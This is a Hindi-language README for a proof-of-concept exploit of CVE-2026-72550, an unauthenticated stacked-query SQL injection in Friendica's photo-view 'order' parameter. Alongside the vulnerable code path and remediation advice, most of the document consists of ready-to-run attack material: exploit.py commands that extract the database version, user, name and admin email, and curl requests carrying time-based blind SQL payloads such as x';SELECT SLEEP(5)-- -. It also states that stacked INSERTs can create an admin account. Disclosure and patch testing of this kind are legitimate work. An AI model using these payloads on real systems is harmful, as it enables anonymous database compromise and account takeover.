
CVE-2026-72550 — Friendica अनप्रमाणित स्टैक्ड-क्वेरी SQL इंजेक्शन PoC (CVSS 9.8 क्रिटिकल)
Friendica के फोटो एंडपॉइंट में बिना प्रमाणीकरण वाला स्टैक्ड-क्वेरी SQL इंजेक्शन किसी भी विज़िटर को मनमाना SQL चलाने की अनुमति देता है।
| फ़ील्ड | मान |
|---|---|
| CVE ID | CVE-2026-72550 |
| उत्पाद | Friendica (स्व-होस्टेड संघीय सोशल नेटवर्क) |
| प्रभावित | <= 2026.08-dev (git HEAD e3fc1bc) |
| प्रकार | CWE-89: SQL इंजेक्शन (बिना प्रमाणीकरण, स्टैक्ड क्वेरी) |
| गंभीरता | गंभीर — CVSS 3.1: 9.8 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H) |
| प्रमाणीकरण आवश्यक | कोई नहीं |
Friendica में फोटो-व्यू एंडपॉइंट order क्वेरी पैरामीटर को लेता है और उसे बिना एस्केप किए SHOW COLUMNS ... LIKE '...' स्टेटमेंट में जोड़ता है, जिसे बिना किसी आवरण के PDO::query() के माध्यम से चलाया जाता है — जो कई स्टेटमेंट की अनुमति देता है। किसी लॉगिन की आवश्यकता नहीं है, और एक सामान्य इंस्टॉल पर (block_public डिफ़ॉल्ट रूप से बंद है) कोई भी सार्वजनिक रूप से दिखने वाला फोटो पर्याप्त है। चूंकि PDO::query() स्टैक्ड स्टेटमेंट को निष्पादित करता है, एक अनाम हमलावर केवल डेटा नहीं पढ़ता — वे मनमाना SQL चलाते हैं, जिसमें एडमिन उपयोगकर्ता बनाने के लिए INSERT/UPDATE शामिल है।
mod/photos.php:673 — reads raw $_GET['order']
DBStructure::existsColumn() — concatenates into: SHOW COLUMNS FROM `photo` LIKE '$column'
src/Database/DBStructure.php:714
DBA::p() → PDO::query() — executes with stacked statements enabled
डिफ़ॉल्ट अनुरोध पथ इस कोड तक पहुँचता है: $cmd डिफ़ॉल्ट रूप से 'view' होता है ($cmd === 'view' शर्त को पूरा करता है) और no_count बंद होता है, इसलिए न तो प्रमाणीकरण की आवश्यकता होती है और न ही कोई गैर-डिफ़ॉल्ट सेटिंग की।
# Install dependency
pip install requests
# Check if target is vulnerable (time-based detection)
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --check-only
# Extract database version via blind SQLi
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract version
# Extract current database user
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_user
# Extract current database name
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract db_name
# Extract first admin email
python3 exploit.py -u http://target:8176 -r alice -i a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6 --extract admin_email
किसी कुकी या प्रमाणीकरण की आवश्यकता नहीं है। इसे किसी भी सार्वजनिक फोटो resource-id पर इंगित करें:
# Control — valid order, returns fast (~0.05s)
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=created"
# Injection — stacked SLEEP(5) executes, response held ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20SLEEP(5)--%20-"
डिकोड किया गया पेलोड: x';SELECT SLEEP(5)-- -
इंजेक्ट किया गया SQL इस प्रकार बनता है:
SHOW COLUMNS FROM `photo` LIKE 'x';SELECT SLEEP(5)-- -'
# TRUE condition (@@version starts with '1') → delays ~5s
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%271%27,SLEEP(5),0)--%20-"
# FALSE condition (@@version starts with '9') → returns fast
curl -s -o /dev/null -w "%{time_total}\n" \
"http://TARGET/photos/alice/image/RESOURCE_ID?order=x%27%3BSELECT%20IF(SUBSTRING(@@version,1,1)=%279%27,SLEEP(5),0)--%20-"
एक बिना प्रमाणीकरण वाला हमलावर निम्न कार्य कर सकता है:
INSERT INTO user के माध्यम से व्यवस्थापक खाता बनाना शामिल हैयह एक पूर्ण डेटाबेस समझौता है जो डिफ़ॉल्ट Friendica इंस्टॉल पर किसी भी अनाम विज़िटर द्वारा प्राप्त किया जा सकता है।
order को ज्ञात कॉलम व्हाइटलिस्ट के विरुद्ध मान्य करेंSHOW COLUMNS में स्ट्रिंग कॉन्कटेनेशन के बजाय पैरामीटरयुक्त क्वेरी का उपयोग करेंPDO::ATTR_EMULATE_PREPARES => false)| दिनांक | घटना |
|---|---|
| 2026-07-07 | स्थानीय इंस्टेंस पर भेद्यता खोजी गई और पुष्टि की गई |
| 2026-08-11 | CVE-2026-72550 को TuranSec CNA के माध्यम से प्रकाशित किया गया |
यह टूल केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान किया गया है। इसका उपयोग केवल उन प्रणालियों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेता है।
खोजकर्ता: Bobur Abdugafforov (@abdugafforov-bobur)
CVE को TuranSec CNA के माध्यम से आवंटित किया गया
| फ़्लैग | विवरण |
|---|
-u / --url | लक्ष्य बेस URL (जैसे http://target:8176) |
-r / --user | वह उपयोगकर्ता नाम जिसकी फोटो गैलरी को हिट करना है |
-i / --resource-id | किसी भी सार्वजनिक रूप से दिखने वाले फोटो की रिसोर्स ID |
--extract | निकालने के लिए मान: version, db_user, db_name, admin_email |
--check-only | केवल भेद्यता का परीक्षण करें, डेटा न निकालें |
--sleep | SLEEP देरी सेकंड में (डिफ़ॉल्ट: 5) |